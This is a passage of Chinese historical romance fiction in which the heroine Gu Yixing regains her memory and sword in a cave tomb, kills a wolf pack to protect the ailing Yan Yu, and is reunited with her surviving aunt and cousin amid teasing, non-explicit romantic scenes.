“当年一役,喻威和匈奴里应外合,横云铁骑死伤过半。等到喻威称帝,军中军官又大多被裁撤,也有不少在归乡途中莫名死去,如今在还身居朝堂的除了沈离松将军,便是苏护老将军和礼部侍郎侯和诚大人。” “琴潇当年被我救下,孟启……”言煜眸色渐深,声音低沉,“我这些年也一直在派人找他,但是毫无音讯。” 孤弈行侧着身,言煜几乎看不清她脸上的神色,只感觉她的脸颊上毫无血色,她抬头望天,淡淡地说了一句:“我们得走了,又要落雪了。” 言煜微微抬头,只见天色隐隐发灰,确是将要落雪之兆,他们必须动身了。 二人一路沿着青川峡谷的方向而去,等到快要行至断崖之时空中已然飘下了几片雪花。再过片刻,气温骤降,北风渗着寒意,刮在脸上好像落在心口上的刀子一般,火辣辣的疼。 孤弈行顺着断崖眺望远方,只见目之所及皆是灰蓝色一片,云层厚重,气流翻涌,便知道这场雪绝不是一时半刻能停的。 她一向知道言煜的旧疾,但不知是否是这些年来思虑过重,损耗过大又不好好爱惜自己的缘故,孤弈行总觉得他的旧疾发作得越发频繁,病情也越发严重,这次回去务必要劝他找名医调理了。 孤弈行猛地拉住他的手腕,感觉指尖触及他肌肤的那一瞬间又是一阵冰凉,于是她更坚定了她的想法,不由分说地就拉着他往断崖的另一边走去。 “你应当去记忆里的地方看看,不用担心我。”言煜似是猜到了她的心思,柔声道。 孤弈行不知为何听了这话心里竟莫名有些气,而当转过身去望见他毫无血色的玉唇,染上了淡淡白霜的长眉,她心中便满是不忍。 她的剑眉微微蹙起,开口之时语气却出乎她预料的有些咄咄逼人。 “你疯了吗言焕卿?已经下雪了,看天色这会是一场大雪,你能不能也爱惜爱惜你自己的身体?” 言煜没想到她会这么说,一时微微愣住,但当他反应过来后随之而来是从心底弥漫开来的暖意。他自然知道,她是为他好。 “我孤弈行是要找回我原来的记忆,但我也绝不会拿你做代价。” 孤弈行似是觉得自己方才的语气有些重了,于是特意放柔了声音,但语气依旧令人无法反驳。她继续拉着他往断崖另一边走去,她却感觉到自己触碰到他手腕的虎口处灼灼发热。 言至此处,言煜也知自己方才确实逞强了,此刻也不忍惹她担心,便跟上她的脚步,良久道:“是我不好,让你担心了。” 孤弈行本就不是为了气他,听到这话心里便软了下来。她正欲说什么,抬眸却望见不远处有一处山洞:“我们先到山洞避一避,等雪停了再动身。” “好。” 风雪交加,寒气逼人,二人往山洞走去竟从未觉得这看上去短短的路途如此漫长。等到将至山洞之时,孤弈行已经感觉到自己握住他手腕的那只手几乎感觉不到任何温度,他整个人也微微颤抖。 他固然是个极能忍的人,但他始终瞒不住她。 洞口的风以及很大,因此孤弈行不得不扶着言煜往里走去。然而如此一来,孤弈行竟发现这座山洞比自己想象中要深得多,而山洞里竟还有一处不小的地宫。 为了避风,孤弈行决定今夜在地宫内休息。但从地宫的入口向下望去,孤弈行只看到黑漆漆一片,于是她从袖中抽出一个火柴盒,点亮了几根火柴。 火柴的光亮有限,但在此时此刻已是有则胜无。孤弈行一手扶着言煜,一手松松地落在腰间,时刻保持警惕,准备一有异响就将软剑抽出。 现实比孤弈行想象的幸运一些,这地宫不算大,里面也空无一人。孤弈行走了几步,倒是踩到了一根类似于木头的东西,孤弈行看了一下还算干燥,正好可以用来生火。 “你休息一会,今日我来守夜。”孤弈行让言煜靠在距离火堆不远处的墙边,她透过火光望见他血色全无的脸颊,眼眸深处尽是关切。 此时言煜的神智还有些清醒,他强撑着点了点头,但没过多久,似是陷入了沉睡。 孤弈行则是绕着地宫走了一圈,等走到两处小土堆的时候,她停下了脚步。 这两个土堆极其简陋,以至于孤弈行蹲下来才看清原来这两处土堆上都插着一块破碎不堪的木板,第一块上面写着“先王孤弈行之墓”几个字,另一块上面则是“众将士之墓”。 这时候孤弈行才知 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孤弈行正欲站起,却感觉自己的右脚触碰到了什么坚硬的东西,她定睛一看,只见自己的墓旁边的土层下还浅浅埋着一个长长的木盒。 不知为何,孤弈行有一种极为熟悉的感觉。而且她隐隐觉得,这木盒里的东西,本来就是属于她的。 孤弈行打开木盒,只见木盒里放着一柄长剑,那剑长三尺,通身以血铜打造,镶有血云之纹,极其锋利,观之可感凌厉浩然之气。 孤弈行举起那柄剑便下意识地使了一整套剑招。她的招式凌厉,且大开大合,不拘小节,整个过程一气呵成,没有半点犹豫,孤弈行觉得她应当是使过无数遍。就在她停下来望着手中长剑的那一刻,她竟发现自己似是,都想起来了。 这柄剑名为仗天,是她的配剑,当年掉落断崖。而刚刚她使的剑招,是她独创的,也是她当年最得意的剑招,她称其为孤云平天。 就在此时,孤弈行却隐隐听见地宫上方传来野狼的长嚎声。那声音凄厉瘆人,听着便能让人不寒而栗。 “不好!”孤弈行很快反应过来,走到言煜身边想要唤醒他,却发现他整个人昏昏沉沉的,似是陷入了梦魇。 然而此刻已是来不及了,孤弈行顺着入口的方向已经望见了无数双在黑夜之中幽幽发光的眼睛。听着声音,至少有七八头野狼。 那一群野狼很快就散开形成了一个包围圈,将她和言煜包围。 孤弈行从前在祁地遇到过狼群,因而知道野狼怕火,于是开始观察周围是否有木棍之类的东西,但除了袖中的几根微不足道的火柴和已经生火的木块一无所获。 更致命的是,言煜身边火堆发出的火光越来越微弱了,这就意味着火堆马上要熄灭了。而火堆一旦熄灭,野狼没了对火的畏惧,他们便成了饿狼口中唾手可得的食物。 孤弈行知道,此一战,没有退路,唯有一搏,方能杀出一条血路。 34. 归来 起初狼群还因为畏惧火光,只是在原地来回踱步,用那一双双双散发出幽幽绿光的瞳孔死死地盯着他们二人,但当火光逐渐熄灭,野狼来回踱步的速度逐渐变快,孤弈行便知它们已经蠢蠢欲动了。 果不其然,火光熄灭的那一瞬间就有两头野狼张开血口从两个方向向孤弈行扑来。孤弈行持剑向其中一头野狼的腹部刺去,那一头野狼哀嚎一声,摔落在地。 与此同时,孤弈行飞速侧身,随即抬腿向另一头扑上来的野狼踢去,那一踢踢中了它的脖颈下方,虽不致命,但孤弈行料想却也能让它没了胆子再扑咬上来。 然而现实却出乎孤弈行的预料,那群野狼不仅没有收敛,反而更加疯狂地扑咬上来,孤弈行看懂了它们的眼神,那是饥肠辘辘的眼神。 此时一头野狼又扑了上来咬住了仗天,孤弈行眼看自己陷入了僵局,随即用左手飞速从腰间抽出那柄短剑向其要害刺去,那狼哀嚎了一声,没了动静。 然而这时候孤弈行才感觉到自己的左臂不知道怎么时候被狼爪撕开了一个小口子,此时鲜血直流,血腥气在空中弥漫开来,这才是这群野狼此刻极度兴奋的原因。 此时孤弈行的余光瞥见黑暗中一双幽绿色的眼睛往自己身后而去,孤弈行顿时持剑挡在言煜身前。 那野狼体型极大,动作却极为敏捷,孤弈行心中一时焦急竟被它躲过了一剑。 然而孤弈行的反应也是极快,立马反手持剑向它的脖颈处狠狠刺去,那野狼在孤弈行的右肩上咬了一口,随即便没了力气,倒在地上不动了。 孤弈行心里想着这头体型最大的野狼当是这狼群的狼王,果然那头野狼一死,其他野狼个个心中惊惧,全然没了扑咬上来的动作,很快就夹着尾巴逃走了。 孤弈行这时心中紧绷着的弦终于松了下来,随之而来的是右肩传来的剧烈疼痛。 那狼王牙齿比寻常野狼要锋利些,伤口也就更深,此时孤弈行绛紫色的衣服上有一大片已经被染成了深红色,活脱脱地像个从血池里走出来的人。 然而孤弈行只是皱了皱眉,从始至终没有闷哼一声。 她用方巾将鲜血直流的伤口擦拭干净,又从袖中取出一个白瓷瓶将药粉撒在了伤口上。 瓷瓶里是他们临走时素千衣给他们准备的金疮药,没想到此刻派上了用场。 随后,孤弈行又从衣服上撕下几根布条将是伤口熟练地包扎妥当。 那日夜里,孤弈行便在言煜身边靠着墙假寐,也不知什么时辰隐隐听见身边的动静,便睁开了眼。 此时地宫里只有零星的一点微光,但却已经足够能看清身边人。她看到言煜不知何时醒了,此时静静地望着她,眼尾微微红了。 她环顾了一眼四周,只见几头野狼躺在地上,那狼王就倒在离他们二人不到两米的地方,从它伤口处迸发而出的鲜血将一小片地面都染成了深红色。昨夜一片漆黑,孤弈行竟不知此处如此狼藉。 孤弈行再抬眸时便与言煜四目相对,不知为何言煜竟觉得面前人望着自己的眼神相比之前有些不同了。那种眼神,就好像他们分别了很久,如今再次重逢。 言煜不再隐忍,上前环抱住孤弈行。他的整个动作都显然极为轻柔,避开了她的伤处。 “若不是为了护我,你也不会受伤。”他的声音沙哑,声音也有些低沉。 孤弈行自然知道瞒不住他,便也没打算瞒他,只是勾了勾唇在他耳畔道了一句:“那谁又知道你为我付出了多少心血?” 言煜微微一愣,就在此时,他的耳畔传来那熟悉的声音。 “言煜,我孤弈行,回来了。” 孤弈行分明能感觉到他抱住自己的手顿了一下,随即将她松开。 她看见那双凤眼的眼眶微微湿润,眼眸深处泛着她从未见过的光亮,她的手腕随即又被泛着凉意的,指节分明的手紧紧握住。 “你……都想起来了?”他的声音很轻,但那声音里似是包含了太多的情绪,几乎就要在下一秒爆发。 “我都想起来了。”孤弈行勾了勾唇,一双桃花眼此刻含着笑意,风流尽显。 然而就连她都不知道,自己的眼尾也微微有些红了,声音有些哽咽:“想起来我的过往,想起来你及冠那天我和你的约定,想起来言府院里你站在我身前替我接住的那一箭,还有很多……” 言煜没等她说完,便吻上了她的唇。他的吻此刻不夹杂太多的情|欲,他只是太过迫切地想要感受属于她的温度。 那天素朝英对他说世间之事皆有因果定数,他何必强求,他言煜素来不喜强求,唯有她对他而言,是特殊的。是以在她消失的这五年,他一直寻她,替她暗暗谋划,她忘记了很多事,他便会陪她一直找下去。 或许是上天垂怜,如今他曾经认识的那个孤弈行,完完整整地回来了。 孤弈行此刻感受到一缕酸涩夹杂着喜悦向她齐齐涌来,她轻轻地抚上他的脸颊,回应着他的吻,气氛顿时有些暧昧。 唇分之时,言煜似是还有些恋恋不舍。他微微抬眸,正好望见那双桃花眼,此时眼尾似染了烟霞,宛若动情,衬得她多了几分平日里没有的娇俏。 不知为何,言煜竟感到了几分炙热。 “言煜,我很感动。” 他见她用一种他从未见过的眼神望着自己,深舒了一口气,缓缓道:“我从小便没了母亲,自我父王死后我便成了一个无父无母的人。除了在沙场上和我出生入死的弟兄,我从未想过一个人能为一个相识不算久的人付出这么多。” 想到此处,孤弈行自嘲地笑了笑:“甚至不知她是死是活,是不是已经残废,是不是已经忘了他。” 言煜上前抱住她,让她靠在自己的肩上,静静地听她说。 “我记得你不喜官场,纵然当年我问你,你也没有答应。”孤弈行似是想起什么,心里顿时又泛起一阵酸涩。 “因为你是特殊的。” 孤弈行被他紧紧环抱着,故而看不清他的神色,但她却能联想到他说这话时的模样。 如今,五年前的少年已经成长成了青年男人,那双蕴藏着万千星辰的眼眸却从未变过,依旧能让她无比动容。 她孤弈行纵横沙场半生,从未觉得自己需要一个男人,因为她本身就足够强大。但她如今却觉得,若这个人是他,那便还不错。 “弈行,你接下来有什么打算?” 孤弈行的眸色暗了下来,言煜能感觉到她抚在自己 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言煜望着她认真许愿饼子的模样,心里是又心疼又觉得好笑。他把那油纸袋子递到了孤弈行手里,温言道:“你最喜欢的油糕。” “真的假的!”孤弈行一把接过那油纸袋,也不顾双手冻得有些泛红,只是动作略显笨拙地胡乱扯开袋子,只见那几块油糕分明已经变得硬邦邦的,不再像新鲜出炉一般酥脆,但她丝毫不在乎,直接囫囵吞了一个。 孤弈行发现那油糕虽然已经变硬,但是并非完全咬不动,应当是他刚才一直带在身边的缘故。 孤弈行不由回忆起当时自己言煜在废弃的朱砂矿洞里相遇之时,他也是这样随身携带着油糕。那时她还不太在意,现在想想这人该不会在当时就对她有些别的心思吧? “你也吃!”孤弈行又拿了一块油糕,随即就把油纸袋子塞到了言煜手上,一边吃一边坏笑着打量他。 言煜咬了一口油糕,抬眸便正好对上孤弈行不怀好意的目光,顿时觉得浑身都有些不自在。 言煜本欲开口,但还没等他发问,孤弈行就反手抓住了他的手腕,凑到了他身前,用一种意味深长的眼神看着他,缓缓开口,声音勾人。 “有些人啊从前就是面上装得一本正经,实际上小心思多得很。你说……对不对?” 言煜已经明白过来她在说什么,耳根猛然有些泛红,心里也被撩拨得厉害。他侧过头去,步子迈得大了些,但在孤弈行看来一副做贼心虚的模样。 孤弈行自然不可能那么轻易放过他,便也加快步伐跟上了他的脚步,继续用那种眼神欣赏着他的一举一动,边笑边问:“言煜,你是什么时候这么在意我的?” 言煜没有回应,于是孤弈行便只能自己猜:“在矿洞相遇之前……那就是及冠那次!” 孤弈行看到言煜那种波澜不惊的眼神就知道自己一定猜错了,但她也没想到他竟对自己动心得那么早。毕竟……她最初也只是单纯想见见这天下第一公子的美|色。孤弈行想来也有些心虚。 然而言煜似是能一眼看穿她的心思。他勾了勾唇,笑道:“比你早些。” 35. 亲人 此话一出,孤弈行便知道这长着一副玲珑心肠的人早就猜到了自己当时不可言说的动机,于是孤弈行一时心虚更甚。 但越是如此,孤弈行越是忍不住去想最初与言煜见面的一些细节,想着自己当时究竟干了什么,有这么明显吗! 一旁的言煜见她不说话,也不去捅破她,只是微微颔首,笑意浓重。 待到二人走入树林,雾气逐渐浓重,因着树林里说不定会有猎人留下的陷阱,故而二人皆心生警惕。为防止迷路,孤弈行手持仗天,每走过一处地方,就在一棵树上刻上记号。 二人走了许久,这树林掩着雾气,竟不知何时才能走到尽头。 浓雾遮挡了视线,再加上听不到身后的动静,孤弈行心头一紧:“言煜?” “我在。” 孤弈行不禁失笑:“走路不出声,你是属猫的吗?我还以为你被什么野兽叼走了。” “若是真的,弈行会来救我吗?”言煜勾了勾唇,故意道。 孤弈行顿时真觉得自己没有好好地认识过这个人,到了如今这个时候了,还有心思开这种玩笑。于是孤弈行狠了狠心,道:“想得美。” 言煜抿了抿唇,握住了她的手腕。 就在此时,孤弈行竟听到不远处传来一声狼嚎,二人顿时都手持长剑,时刻保持警戒。 说来也奇怪,待到孤弈行和言煜走进了些,那狼嚎似也停了。但没过一会儿,狼嚎便再次响起,而孤弈行觉得这一次的声音对他们来说已经近在咫尺。 孤弈行向言煜做了一个噤声的手势,言煜顿时明白了他的用意。 就在此时,孤弈行感觉到有什么东西窜了出来,向自己扑来。离得近了些,孤弈行竟觉得这根本不是什么狼,纵然控制住自己不持剑刺去,她还是下意识地锁住了那东西的喉咙。 这时树林中的雾气消散了些,天空不时飘落几片雪花,于是孤弈行才终于看清了此刻在自己面前挣扎只是一个不过七八岁的孩子。 那孩子也长着一双桃花眼,眉眼之间竟与自己的父亲有那么两分相似,但看上去却是个调皮捣蛋,顽劣不堪的主儿。不知为何,孤弈行竟觉得这孩子格外熟悉。 “放开……放开我……” 纵然孤弈行控制了力度,但这小孩还是被调教得差点说不出话来。他皱着眉头,眉间含怒,拼尽力气向孤弈行张牙舞爪。 “弈行,快放开,他是你的亲人。”言煜握住她的手腕,与她对视道。 孤弈行愣了一下,于是松了手,那小孩便啪嗒一下一屁股摔在了地上。 “你说什么?”孤弈行一时间不敢相信自己的耳朵。她一直以为孤氏子孙早就被喻威屠戮殆尽,但此刻言煜却信誓旦旦地告诉她,她在这世上还有亲人。 “娘亲!”那小孩似是有些摔怕了,于是屁颠屁颠地往屋里喊去,一边喊一边叫。 孤弈行似是想到了什么,也往那处望去。 “烨儿不怕,和娘亲说说发生了什么?” 屋内走出来一个妇人,看上去三十六七岁的模样,孤弈行看着其身形便觉得十分熟悉。她微微抬头,孤弈行便看到了她的脸。 那妇人长着一张鹅蛋脸,身着素色长袍,远远望去温柔可人,而一双丹凤眼却替她增添了几分锐气。孤弈行细细观察着她,只觉得她的身材比之前消瘦了些,人也有些消沉。 “姑姑。”孤弈行的眼眶微微有些红了。 那妇人似是一时愣住了,随即抬眸便对上了孤弈行的眼睛。不知不觉间,那双丹凤眼深处似有泪光闪烁。 “弈行……你终于……回来了。”孤长祈一时也顾不上还在闹腾的孤子烨,只是快步走到孤弈行身旁,紧紧抱住了她。 孤弈行一时也有些感动,但她总觉得这句话透露出几分奇怪。世间人都以为她死了,可姑姑分明是早就知道自己没死,似乎还知道自己会回来。再加上当年喻威肆意屠杀过孤氏子弟,他们二人又是怎么成功逃过一劫,又在此安然生活的呢? 孤弈行侧身望了一眼言煜,又想起他刚刚对自己说的一番话,心中已然明了。 一旁的孤子烨看到这一幕人都傻了,他走上前去,拼命地拉着她母亲的手,委委屈屈地道:“娘亲,她是坏人!就是她刚刚欺负我!” “胡言乱语!是不是你又学狼叫了?”孤长祈提高了音量,声音顿时掷地有声,孤弈行一时仿佛觉得那个过去策马扬鞭,英气勃勃的女将又回来了。 所谓知子莫若母,孤子烨被这么一训,也没了方才的神气,只是低着头,不说话了。 “这是你表姐,叫表姐。”孤长祈硬生生地把那孩子拖到了孤弈行面前,道。 孤弈行就爱看这皮孩子不情不愿,还必须咬着牙照做的模样,于是她甚至蹲下身来没好心地笑了笑,特意和他四目相对。 可怜那孤子烨涨红了脸,从牙缝里小声地挤出两个字:“表……姐……” 孤弈行一脸的幸灾乐祸,听完还捏了捏那红红的小脸,勾了勾唇,道:“乖,表弟。” 孤长祈也笑:“这孩子啊和你小时候简直是一模一样,都是个又皮又犟的主儿!” 话音未落,孤弈行就知道情况有些不对了。这怎么笑着笑着就要笑到自己头上来了? “想你这么大的时候就总是爬树翻墙头,把王府里搞得一团乱。你记不记得,有一次你还差点把厨房炸了,后来被兄长狠狠训了一顿……” 孤弈行用余光望言煜那处瞥去,只见他勾了勾唇,隐隐发笑,似是正听得津津有味! 孤长祈还没意识到有什么不对,孤弈行就连忙捂住了她的嘴巴,笑着向她眨眼睛:“姑姑……这都是些陈年旧事了,说这些做什么?” 孤长祈想着自己过去说这些也没见她这么大反应,这时才觉得孤弈行今日有些不同。她顺着孤弈行的目光望去,顿时明白了一切。 她笑了笑,道:“对对对,不提了!外面天冷,快进屋里暖和暖和!” 孤长祈和孤子烨先入了屋,孤弈行和言煜跟在后面。不知为何 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“姑姑,当年都发生了什么?你们是怎么逃出来的?”孤弈行一改平日的风流恣意,面容有些严肃。 孤长祈望了一眼孤弈行身旁的言煜,缓缓道:“弈行,我和烨儿能成功逃出来,还是要多亏言公子。” “当年你出事之后喻威登基,他登基后的第一件事便是大肆抓捕孤氏族人,届时我与烨儿恰在城外的西华寺,是言公子先一步派人找到我们,让我们吃下了假死药,后来喻威以为我与烨儿已死,便将我们二人丢入了乱葬岗,之后言公子便将我们二人救起,我与烨儿这才逃过一劫。” “果然如此。” 孤长祈所言与孤弈行所想丝毫不差,孤弈行本不该惊讶,但当孤长祈说出这些经历知识,孤弈行心中依然汇起一股暖流。 “言煜,谢谢你。” 言煜看见孤弈行侧过身来与他对视,那双桃花眼眼眸深处似有暗流涌动。 “世上聪明人都惯会明哲保身,只是你在这件事上可不聪明。” 孤弈行不喜欢煽情的气氛,故而装作不在意地揶揄他,但她不知道自己的语气听上去可不是在耍小脾气,反而有些微微哽咽:“你到底还有多少事瞒着我?” 言煜逐渐发现自己面对着这样的孤弈行毫无反抗之力,纵然他知道她与寻常女子不同,甚至比世间很多男子都要坚强,但他还是会心疼她,还是会忍不住地想要保护她。 他年少时听过不少戏,他当时始终不理解冲冠一怒为红颜的滋味,甚至觉得全是那些文人墨客的杜撰,但如今他竟懂了。 言煜情不自禁地抚上她的脸颊,他挑了挑眉,凤眼似含着盈盈秋波,声音更是柔得不像话:“我从未想过瞒你,我做的事你以后都会知道。你不要觉得愧疚,因为是我想要你一直欠着我。” 孤弈行本来还有些难过,但却是被言煜的一番话逗笑了:“怎么?是怕我跑了吗?” 36. 小闷骚 “怎么,是怕我跑了吗?” 言煜对这突如其来的撩拨早已习以为常,他心里暗喜,但还是微微蹙眉,长叹一口气,装出一副可怜的模样来:“是啊……弈行跑得这么快,我可追不上。” 孤弈行听着这样一番温言软语,一时间竟也觉得胸口泛起一阵酥麻,竟也不想着继续与他互呛了。她心里不由得暗暗骂一句:会撒娇的男人最好命! 言煜见孤弈行不说话,还欲逗她,余光却瞥见站在孤弈行身旁欲言又止的孤长祈,于是收敛了一些,道:“夫人。” 孤弈行冷不丁听见这么一声连忙转头,随即下意识地连连咳嗽。 也许是被方才这人的温言软语迷昏了头脑,一时间竟忘了自己旁边还有一个人。 她越欲细想心头便越是发热,耳根竟也微微有些红了。 孤长祈是从小看着孤弈行长大的,却也是第一次见到孤弈行展现出这一副女儿家的形态,心里却是暗暗为她高兴。 她刻意岔开了话题:“茶要凉了,快尝尝。” 孤弈行好不容易找到个台阶下,自然毫不犹豫地照做。 她素来是品不来茶的,直接囫囵吞枣般一饮而尽,但她却也觉得此茶的口感鲜醇爽口,还有一种独特的清甜滋味,当是好茶,故而毫不吝啬地赞叹了一句。 “弈行确实有品位,这茶是言公子特地命人送来的雁荡毛峰,这年头紧俏得很。”孤长祈笑道。 有品位这三个字孤弈行觉得自己可是担不起,只是这茶好得紧,自己若是连这都尝不出来就真成傻子了。她微微侧目,只见一旁的言煜轻轻抿了一口茶,整个动作格外优雅。 孤长祈也不愿打扰这两人,只道:“我去把房间收拾出来,今晚弈行和言公子就凑合一下吧。” “夫人不用麻烦。” “姑姑不用麻烦,我们二人在这里凑合一晚上就好,哪里有让孩子凑合的道理。” 这一次,两人可谓是异口同声,说完忍不住相视一笑。 “既然如此,那我晚上给你们拿两条厚毯子来。”孤长祈也被这两人逗笑了,但下一秒她望着言煜,眼神意味深长,“言公子是我与烨儿的恩人,叫夫人也是生分了,以后不如就同弈行一样唤我姑姑吧。” 言煜勾了勾唇,道:“就按姑姑的意思。” 晚上屋内生了火,再加上裹着一条厚毯子,孤弈行丝毫不觉得冷,但也不知是否是身旁有人的缘故,孤弈行竟也睡不太着。 她挪了挪身子,竟发现言煜也没睡。言煜似是想到了什么,凤眼深处流露出几分关切:“可是伤口又疼了?” 孤弈行摇了摇头,道:“有千衣前辈给的那么好的药,早就不疼了。” “有心事。” 这时孤弈行发现言煜说话的语气已经不再是询问,而是肯定。孤弈行忍不住笑了笑,想着狐狸终究是狐狸。 “等走出了峡谷,这世间依旧不会有孤弈行,也不会有阿心,只会有蛰伏的骆川。” 言煜能感受到桃花眼深处的坚韧和隐忍,她当是有了计划,没有人比她更清楚她之后将要面对的一切。 在世人眼里,孤弈行已经成为了传说,但在喻威眼中,孤弈行依旧是一颗暗刺。但凡是与孤弈行扯上点关系的,他便是宁可错杀一千而不放过一个。 想到这里,言煜的胸口就像压了一块巨石,呼吸艰难。他忍不住握着孤弈行的右手,柔声道:“弈行可是有了打算?” 孤弈行不予置否,神情严肃,她侧过身来与言煜对视。 “我曾和你说过我小名骆川,为了避免喻威起疑,我会以洛川的身份重新开始,一步步获取他的信任。” “喻威多疑,我会为你安排好身份。”言煜虽一向知道孤弈行的能力,但如今局势紧张,他终是有些担心,眉头微微蹙起。 “他只会相信自己查到的身份,所以先起疑未必是坏事。” 孤弈行冷笑一声,翘起了二郎腿。然而她看见言煜微微蹙起的眉头,心里顿时萌生了一个大胆的念头。 她似是刻意拉近了与言煜的距离,二人之间的空气几乎被抽离,她能轻易地感觉到言煜的呼吸。 言煜似是没想到她突然靠近,握着她右手的那只手下意识地微微攥紧。 孤弈行见自己得逞便更加嚣张,她靠着他的肩膀,在他耳畔轻轻吹了一口气,言煜下意识地侧过身去,却被孤弈行拉了回来。 “焕卿你说……是不是?”孤弈行挑了挑眉,笑。 她的声音很轻,却像是与他耳鬓厮磨,落入他的耳中便像是有什么东西在轻轻地挠着他的心,惹得他心绪全乱。 “弈行别闹。” 他努力隐藏自己的思绪,逼迫自己神色一切如常,但孤弈行却也是格外了解他,他越是如此掩饰,越是说明他心绪乱得紧。 孤弈行忍不住嘴角微微上扬,她不再靠着他的肩膀,而是直起身来用手指勾住他的下颚,逼迫他缓缓抬头,与她的眼睛对视,气氛顿时有些暧昧。 “怎么?焕卿是怕我吃了你吗?” 她勾了勾唇,笑得愈发风流恣意,桃花眼深处似缀着几缕微光,恍若星辰。 言煜不知道她是否真的明白自己在说些什么,但是一言一语落入言煜的耳中,却勾起他胸口的几分灼热。 他素来了解她的性格,但是从她口中说出的这些虎狼之词此刻就像把他架在火上烤一般,他极力忍耐,却只有他知道,他感觉自己忍得有些难受,几乎快要失控。 孤弈行看到他的模样心中暗爽,她还欲继续挑逗,却见他化被动为主动,反过来吻上了她的唇,这下倒变成孤弈行心里有几分乱了。 孤弈行从前只知他玲珑心肠,但为人还算正经,但没想到他还挺会……撩! 他起初只是温柔地浅酌轻尝,似在颇有情趣地挑逗,但很快就不再满足于此,开始更深地探入她唇齿间的温柔。 起初孤弈行还觉得自己能把持得住,但很快她就感觉自己浑身炙热难耐,头脑也像喝醉了酒般有些发晕,最后竟也有些 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“偷袭我是吧……”孤弈行的眼尾微微上扬,一双桃花眼此刻风流尽显,格外勾人。 孤弈行可不管面前这人挣不挣扎,直接把他两只手压在桌子上,然后带有一丝强制性地吻上他的唇。 然而她却只是轻吻,一吻一缓,似在挑逗他,并略显兴奋地期待着他羞怯的表现。 然而让孤弈行失望的是,这人除了脸颊上泛着方才留下的淡淡的红晕之外竟没有丝毫别的表现,只是直直地躺在那儿,好像任凭自己下一步对他做什么似的。 孤弈行皱了皱眉,心里忍不住嘀咕:她以前怎么没发现这人这么厚脸皮呢?她想做什么就做什么啊!一点反抗精神都没有! 很快孤弈行就发现,这人不仅没有反抗精神,他反倒还……挺享受的!亏她最初还觉得他是个文弱公子哥,现在看看分明是个小闷骚! 孤弈行正想着,伸手又去挑逗他,却听到身后传来门被推开的声音,她心料不好,猛地转身,就看见自家姑姑愣在原地,用那种只可意会的眼神看着他们。 这下孤弈行有些慌了,她开始低头审视自己的姿势,发现她整个人几乎都压在他的身上,双手压着他的两只手,姿势简直不要太暧昧!这乍一看,还以为…… 反正真是跳进黄河也洗不清了! 孤弈行放开了他的手,缓缓起身,尴尬一笑,声音顿时没了平日里的气势,倒像蚊子叫似的:“姑姑……不是……” “哦……我看夜里挺冷的,想着来给你们再送两条厚毯子。”孤长祈起初僵僵地笑了笑,却也不听孤弈行解释,随即一脸看好戏的模样,“不打扰你们了。” 然后放下毯子,转身就走。 孤弈行一下子瘫软下来,心想这下真是有嘴都说不清了!孤长祈肯定以为她强迫他……但真不是啊!她真是冤啊!最初明明是他先主动的好吗! 孤弈行白了他一眼,却见他嘴角微微上扬,似在偷偷地笑。 37. 乌龙 这一晚上,孤弈行含着几分懊悔入眠,睡得格外浅,以至于早晨孤长祈一推开房门,孤弈行便醒了。 她起初还先因想着昨天那冤枉之事打算装睡,但后来又觉得不妥:她孤弈行什么时候脸皮竟这般薄了?不行不行!她可得拿出她以往的气魄来! 于是孤弈行放弃了装睡,仰起头对孤长祈浅浅一笑,道:“姑姑早啊。” “不早了!等会我把早饭端来,一道用早饭吧。”孤长祈对她笑了笑便去了厨房,好在也没说起一些旁的事,孤弈行这才松了一口气。 这时言煜也醒了,孤弈行一侧身就对上那诡计多端的人的眼睛,她的头脑里便不受控制地浮现出昨晚的一些画面,表情一时间微微僵住。 “怎么了?弈行不舒服吗?”言煜明知故问,在孤弈行看来那是一脸的奸诈。 这人还有脸问!要不是因为他能有这么大的误会吗! 此话一出,孤弈行差点因为一口气没顺过来提起拳头揍他一顿。但想归想,她自然也没那么做,只是冷笑了一声,咬牙切齿地道了一句。 “是啊……见到你就不太舒服了。” 言煜抿了抿唇,也不再逗她。 没多久,孤长祈便端来了几碗白粥和一盘白馒头,又把孤子烨叫了来,望了孤弈行和言煜一眼,笑着道:“这里不比京城,凑合着吃吧。” 言煜正欲说话,却被孤弈行抢先开了口:“以前我在军队里历练的时候还喝不上这么浓稠的粥呢!这有什么?” 孤弈行顿了一顿,随即故意瞥了一旁的言煜一眼,勾了勾唇:“就是不知道从小锦衣玉食的言大少爷吃不吃得惯咯!” 言煜此时正在喝水,被孤弈行这话呛得咳嗽了两声,但他很快恢复了往日的神色,薄唇微启。 “这世上百姓有很多尚且不能吃饱穿暖,这些已是很好,言煜自然是吃得惯的。” 瞧瞧!瞧瞧这知书达理,谦逊有礼的模样!昨晚怎么不是这么个人呢?孤弈行意味深长地看了他一眼,不再说话。 “那就好,快吃吧。”孤长祈欣慰地笑了笑,伸手拿了一个白馒头放到孤子烨的碗里。 这吃一顿早饭的功夫,孤弈行却是没少和言煜互掐,最后那顽劣的孤子烨终是忍不住来了口:“表姐,你和姐夫是在唱双簧嘛?” 话音未落,孤弈行嘴里的一口粥差点没喷出来! 先不说这个昨日还咬牙切齿地叫她表姐的小鬼今日为何对她如此尊敬,这个姐夫……又是怎么一回事啊! 孤弈行略显尴尬地笑了笑:“你叫他什么?” “姐夫啊。”孤子烨向她眨了眨眼睛,又字正腔圆地重复了一遍。 这下孤弈行有些愣住了,她瞥了一眼身旁的人,却见那人嘴唇似缓缓勾起,分明是在偷笑!孤弈行于是故意笑着道:“你叫错人了。” 孤子烨摇了摇头,道:“没有啊!娘亲和父亲从前就是在一起睡|觉的,你们昨天在一起睡|觉,他不就是姐夫吗?” 这次孤弈行已经感觉自己不是要喷粥了,而是要喷血了!不是……他到底懂不懂啊! 但孤弈行很快逼迫自己稳住了心态,因为理智告诉她一个七八岁的小孩是什么都不懂的!她估计他只认死理儿,于是她猜到自己和一个小屁孩解释不通,也就放弃了和他解释。 相反在看一旁的言煜,倒是神色悠闲得紧。 就在此时,不远处传来信号烟的动静,很快天空中便飘过一阵绿烟。 孤弈行很快明确了情况,一改方才的窘态,声音干脆利落:“他们来了!” 言煜微微颔首,道:“纵然沈离松将军带来的都是他最信任的下属,你的身份还是越少人知道越好。以防万一,还是要委屈你换上男装。” 孤弈行和言煜想到一起去了,她本就不是在意这些的人,只是她现在想知道的是,这荒郊野岭的,她去哪儿弄男装? 可是就在孤弈行疑惑之际,孤长祈却从屋内走了出来,手里捧着一套亲卫服递到孤弈行手里。 好了,这下不用说孤弈行都知道是言煜安排好的。 “言公子思虑周详,这件衣服本就是用来防备危险的,此刻倒是派上了用场。” 